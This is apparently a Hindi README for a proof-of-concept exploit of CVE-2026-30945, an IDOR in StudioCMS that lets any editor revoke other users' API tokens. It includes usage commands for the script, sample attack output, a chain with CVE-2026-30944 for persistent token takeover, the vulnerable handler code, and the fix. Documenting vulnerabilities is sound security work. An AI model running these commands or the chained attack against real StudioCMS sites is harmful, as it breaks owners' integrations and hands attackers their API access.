
CVE-2026-30945 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, StudioCMS में एक IDOR जो मनमाने API टोकन रद्दीकरण और सेवा से इनकार की अनुमति देता है। इसमें मैनुअल और स्वचालित परीक्षण मोड शामिल हैं।
StudioCMS IDOR — मनमाना API टोकन निरस्तीकरण जिससे सेवा अस्वीकार (Denial of Service) होती है
StudioCMS ≤ 0.3.0 में DELETE /studiocms_api/dashboard/api-tokens एंडपॉइंट किसी भी प्रमाणित उपयोगकर्ता को editor या उससे ऊपर के विशेषाधिकारों के साथ किसी अन्य उपयोगकर्ता के API टोकन निरस्त करने की अनुमति देता है, जिसमें admin और खाते शामिल हैं।
ownerहैंडलर tokenID और userID को सीधे अनुरोध पेलोड से स्वीकार करता है, बिना टोकन स्वामित्व, कॉलर पहचान, या भूमिका पदानुक्रम की पुष्टि किए। यह महत्वपूर्ण एकीकरणों और स्वचालनों के विरुद्ध लक्षित सेवा अस्वीकार को सक्षम बनाता है।
संबंधित: यह भेद्यता CVE-2026-30944 (टोकन निर्माण IDOR) के समान मूल कारण साझा करती है। जब इन्हें एक साथ जोड़ा जाता है, तो एक हमलावर वैध टोकन निरस्त कर सकता है और नए टोकन उत्पन्न कर सकता है, जिससे पूर्ण API क्रेडेंशियल अधिग्रहण हो सकता है।
┌──────────────┐ DELETE /api-tokens ┌──────────────┐
│ │ {"tokenID":"<id>", │ │
│ Attacker │ "userID":"<owner-id>"} │ StudioCMS │
│ (Editor) │ ──────────────────────────► │ Server │
│ │ │ │
│ │ ◄────────────────────────── │ │
└──────────────┘ {"message":"Token deleted"} └──────────────┘
│
▼
┌──────────────┐
│ Owner's │
│ CI/CD │
│ Pipeline │──► ❌ 401 Unauthorized
│ Integration │──► ❌ API Access Lost
│ Monitoring │──► ❌ Silent Failure
└──────────────┘
| फ़ील्ड | मान |
|---|---|
| CVE | CVE-2026-30945 |
| GHSA | GHSA-8rgj-vrfr-6hqr |
| CVSS v3.1 | 7.1 (उच्च) — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H |
| CWE | CWE-639: उपयोगकर्ता-नियंत्रित कुंजी के माध्यम से प्राधिकरण बाईपास |
| CWE (द्वितीयक) | CWE-863: गलत प्राधिकरण |
| MITRE ATT&CK | T1531 — खाता पहुंच निष्कासन |
| OWASP API | API1:2023 — टूटा हुआ ऑब्जेक्ट-स्तरीय प्राधिकरण |
| प्रभावित | studiocms ≤ 0.3.0 |
| समाधान | studiocms 0.4.0 |
| फ़ाइल | विवरण |
|---|---|
cve_2026_30945_poc.py | मैनुअल और स्वचालित मोड के साथ Python शोषण स्क्रिप्ट |
README.md | यह फ़ाइल |
LICENSE | MIT लाइसेंस |
Editor खाते के लिए मान्य क्रेडेंशियलpip install requests colorama
# मालिक से संबंधित एक विशिष्ट टोकन निरस्त करें
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
# CVE-2026-30944 के साथ श्रृंखला: पहले लक्ष्य के लिए टोकन बनाएं
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# परिणाम JSON में सहेजें
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
--save
# कई भूमिकाओं के साथ परीक्षण करें
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
| तर्क | विवरण |
|---|---|
-u, --url | लक्ष्य StudioCMS आधार URL |
--target-uuid | लक्ष्य उपयोगकर्ता UUID जिसका टोकन निरस्त किया जाएगा |
| तर्क | विवरण |
|---|---|
--token-id | निरस्त करने के लिए आंतरिक टोकन रिकॉर्ड UUID (JWT नहीं)। यदि छोड़ा गया है, तो स्क्रिप्ट पहले CVE-2026-30944 के माध्यम से टोकन बनाने का प्रयास करेगी |
| तर्क | विवरण |
|---|---|
--username | प्रमाणीकरण के लिए उपयोगकर्ता नाम |
--password | प्रमाणीकरण के लिए पासवर्ड |
| तर्क | विवरण |
|---|---|
--auto-test | स्वचालित बहु-भूमिका परीक्षण सक्षम करें |
--editor-user | Editor खाता उपयोगकर्ता नाम |
--editor-pass | Editor खाता पासवर्ड |
--visitor-user | Visitor खाता उपयोगकर्ता नाम |
--visitor-pass | Visitor खाता पासवर्ड |
| तर्क | विवरण |
|---|---|
--save | परिणाम JSON फ़ाइल में सहेजें |
--no-ssl-verify | SSL प्रमाणपत्र सत्यापन अक्षम करें |
──────────────────────────────────────────────────────────
PHASE 1: Authentication
──────────────────────────────────────────────────────────
[+] 'editor01' के रूप में प्रमाणित
[*] सत्र उपयोगकर्ता: editor01 (editor)
[*] सत्र UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
──────────────────────────────────────────────────────────
PHASE 3: Token Revocation (IDOR)
──────────────────────────────────────────────────────────
[*] लक्ष्य UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] टोकन ID: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] लक्ष्य का API टोकन निरस्त किया जा रहा है...
[+] टोकन निरस्त! सर्वर प्रतिक्रिया: Token deleted
[!] भेद्यता की पुष्टि — टोकन सफलतापूर्वक निरस्त!
[!] लक्ष्य उपयोगकर्ता के API एकीकरण अब टूट गए हैं (DoS)
──────────────────────────────────────────────────────────
PHASE 3: Token Revocation (IDOR)
──────────────────────────────────────────────────────────
[*] लक्ष्य UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] टोकन ID: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] लक्ष्य का API टोकन निरस्त किया जा रहा है...
[*] पहुंच अस्वीकृत (403 Forbidden) — एंडपॉइंट पैच किया जा सकता है
[-] निरस्तीकरण विफल: पहुंच अस्वीकृत (403 Forbidden)
जब टोकन निर्माण IDOR (CVE-2026-30944) के साथ संयुक्त किया जाता है, तो एक हमलावर पूर्ण API क्रेडेंशियल अधिग्रहण कर सकता है:
चरण 1: मालिक का वैध टोकन निरस्त करें (CVE-2026-30945)
└──► मालिक के CI/CD पाइपलाइन चुपचाप टूट जाते हैं
चरण 2: मालिक के लिए नया टोकन उत्पन्न करें (CVE-2026-30944)
└──► हमलावर के पास अब मालिक-स्तरीय API पहुंच है
चरण 3: मालिक समाधान के लिए नया टोकन बनाता है
└──► हमलावर इसे फिर से निरस्त करता है (लगातार DoS)
यह एक ऐसा परिदृश्य बनाता है जहां हमलावर मालिक की API पहुंच पर लगातार नियंत्रण बनाए रखता है, मालिक द्वारा बनाए गए किसी भी नए टोकन को बार-बार निरस्त करता है जबकि अपनी अवैध पहुंच बनाए रखता है।
packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (पंक्तियाँ 58–99) पर कमजोर हैंडलर अनुरोध निकाय से tokenID और userID स्वीकार करता है और उन्हें बिना किसी प्राधिकरण जांच के सीधे विलोपन फ़ंक्शन में भेजता है:
// [1] केवल जांचता है कि कॉलर editor है — नहीं कि वे किसके लिए टोकन हटा रहे हैं
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;
// [2] दोनों मान अनुरोध निकाय से — सत्र के विरुद्ध कोई सत्यापन नहीं
const jsonData = yield* readAPIContextJson<{
tokenID: string; // कोई स्वामित्व जांच नहीं
userID: string; // कोई पहचान जांच नहीं
}>(ctx);
// [3] सीधे विनाशकारी ऑपरेशन में भेजा गया — IDOR
yield* sdk.REST_API.tokens.delete({ tokenId: jsonData.tokenID, userId: jsonData.userID });
हैंडलर में पांच अलग-अलग दोष हैं: अपर्याप्त अनुमति द्वार, कोई टोकन स्वामित्व सत्यापन नहीं, लापता कॉलर पहचान जांच, कोई भूमिका पदानुक्रम प्रवर्तन नहीं, और उपयोगकर्ता-नियंत्रित मानों का विनाशकारी ऑपरेशन में सीधा पास-थ्रू।
StudioCMS को संस्करण 0.4.0 या बाद में अपडेट करें:
npm install studiocms@latest
यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है।
Filipe Gaudard
यह PoC शैक्षिक उद्देश्यों के लिए MIT लाइसेंस के तहत जारी किया गया है। जिम्मेदारी और नैतिकता से उपयोग करें।